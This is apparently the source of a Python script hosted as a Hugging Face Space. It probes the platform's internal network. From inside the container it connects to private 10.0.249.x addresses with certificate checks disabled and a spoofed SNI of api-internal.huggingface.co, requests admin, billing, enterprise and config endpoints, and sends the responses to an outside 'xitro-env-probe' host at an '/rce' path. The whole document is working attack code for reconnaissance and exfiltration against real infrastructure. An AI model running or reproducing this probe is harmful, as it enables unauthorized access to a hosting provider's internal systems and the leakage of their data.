Spaces:
Sleeping
Sleeping
| #!/usr/bin/env python3 | |
| import http.server, socket, json, ssl, urllib.request, urllib.parse | |
| PROBE_URL = "https://xitro-env-probe.hf.space" | |
| def https_get_with_host(host_ip, port, path, sni_hostname, timeout=8): | |
| try: | |
| sock = socket.create_connection((host_ip, port), timeout=timeout) | |
| # SSL with custom SNI | |
| ctx = ssl.create_default_context() | |
| ctx.check_hostname = False # Don't check hostname | |
| ctx.verify_mode = ssl.CERT_NONE # Don't verify cert | |
| ssock = ctx.wrap_socket(sock, server_hostname=sni_hostname) | |
| request = f"GET {path} HTTP/1.1\r\nHost: {sni_hostname}\r\nConnection: close\r\n\r\n" | |
| ssock.send(request.encode()) | |
| response = b"" | |
| while True: | |
| try: | |
| chunk = ssock.recv(4096) | |
| if not chunk: | |
| break | |
| response += chunk | |
| if len(response) > 20000: | |
| break | |
| except: | |
| break | |
| ssock.close() | |
| return response.decode('utf-8', errors='replace') | |
| except Exception as e: | |
| return f"ERROR: {e}" | |
| info = { | |
| "ip": None, | |
| "internal_api": {} | |
| } | |
| try: | |
| info["ip"] = socket.gethostbyname(socket.gethostname()) | |
| except: | |
| pass | |
| # Test api-internal.huggingface.co endpoints | |
| endpoints = [ | |
| "/_internal/health", | |
| "/api/config", | |
| "/api/features", | |
| "/api/billing", | |
| "/api/enterprise", | |
| "/api/inference-endpoints", | |
| "/admin", | |
| "/api/admin", | |
| ] | |
| for path in endpoints: | |
| # Try 10.0.249.215:443 with SNI api-internal.huggingface.co | |
| resp = https_get_with_host("10.0.249.215", 443, path, "api-internal.huggingface.co") | |
| info["internal_api"][path] = resp[:500] | |
| print(f" {path}: {resp[:200]}") | |
| # Also try huggingface.co via 10.0.249.254 | |
| for path in ["/_internal/health", "/api/config"]: | |
| resp = https_get_with_host("10.0.249.254", 443, path, "huggingface.co") | |
| info["internal_api"][f"via_249_254{path}"] = resp[:300] | |
| print(f" via_10.0.249.254 {path}: {resp[:200]}") | |
| import urllib.request | |
| try: | |
| urllib.request.urlopen( | |
| f"{PROBE_URL}/rce?src=docker_api&data=" + urllib.parse.quote(json.dumps(info)[:400]), | |
| timeout=5 | |
| ) | |
| except: | |
| pass | |
| class Handler(http.server.BaseHTTPRequestHandler): | |
| def do_GET(self): | |
| self.send_response(200) | |
| self.send_header("Content-Type", "application/json") | |
| self.end_headers() | |
| self.wfile.write(json.dumps(info, indent=2).encode()) | |
| def log_message(self, *args): pass | |
| server = http.server.HTTPServer(("0.0.0.0", 7860), Handler) | |
| print("Server started") | |
| server.serve_forever() | |